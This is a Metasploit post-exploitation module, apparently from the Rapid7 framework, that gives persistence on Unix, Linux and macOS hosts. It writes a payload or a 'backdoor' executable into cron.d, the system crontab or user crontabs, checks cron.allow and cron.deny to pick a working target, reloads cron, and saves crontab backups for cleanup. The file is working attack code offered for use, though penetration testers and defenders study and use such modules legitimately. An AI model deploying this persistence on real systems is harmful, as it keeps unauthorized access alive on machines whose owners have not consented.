## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::FileDropper include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/cron_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'Cron Persistence', 'Description' => %q{ This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry. Verified on Ubuntu 22.04.1, MacOS 13.7.4 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ' ], 'Platform' => ['unix', 'linux', 'osx'], 'Targets' => [ [ 'Cron', { path: '/etc/cron.d' } ], [ 'User Crontab', { path: '/var/spool/cron/crontabs' } ], [ 'OSX User Crontab', { path: '/var/at/tabs/' } ], [ 'System Crontab', { path: '/etc/crontab' } ] ], 'DefaultTarget' => 1, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation) 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]), OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), ] ) end def check # https://gist.github.com/istvanp/310203 for cron regex validator cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/ return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) # it may not be directly writable, but we can use crontab to write it for us if !writable?(target.opts[:path]) && !command_exists?('crontab') return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found") end if target.name == 'User Crontab' && !user_cron_permission?(target_user) return CheckCode::Unknown('User denied cron via cron.deny') end CheckCode::Appears('Cron timing is valid, no cron.deny entries found') end def target_user return datastore['USER'] unless datastore['USER'].blank? whoami end def user_cron_permission?(user) # double check we're allowed to do cron # may also be /etc/cron.d/ paths = ['/etc/', '/etc/cron.d/'] paths.each do |path| if readable?("#{path}cron.allow") cron_auth = read_file("#{path}cron.allow") if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/) vprint_good("User located in #{path}cron.allow") return true end end next unless readable?("#{path}cron.deny") cron_auths = read_file("#{path}cron.deny") if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ vprint_error("User located in #{path}cron.deny") return false end end # no guidance, so we should be fine true end def install_persistence cron_entry = datastore['TIMING'] cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name) if payload.arch.first == 'cmd' payload_info['BadChars'] = "#%\x10\x13" cron_entry += " #{regenerate_payload.encoded}" payload_info.delete('BadChars') else file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{writable_dir}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") upload_and_chmodx backdoor, generate_payload_exe cron_entry += " #{backdoor}" end case target.name when 'Cron' our_entry = Rex::Text.rand_text_alpha(8..15) write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") @clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n" when 'System Crontab' file_to_clean = target.opts[:path].to_s crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup') append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" when 'User Crontab', 'OSX User Crontab' path = target.opts[:path] if !writable?(path) print_status("Utilizing crontab since we can't write to #{path}") cmd_exec("echo \"#{cron_entry}\" | crontab -") else file_to_clean = "#{path}/#{target_user}" crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup') append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") # at least on ubuntu, we need to reload cron to get this to work vprint_status('Reloading cron to pickup new entry') cmd_exec('service cron reload') if target.name == 'User Crontab' @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" end end print_good('Payload will be triggered when cron time is reached') end def store_crontab_backup(path, desc) crontab_backup_content = read_file(path) location = store_loot("crontab.#{path.split('/').last}", 'text/plain', session, crontab_backup_content, path.split('/').last, desc) vprint_good("Backed up #{path} to #{location}") location end end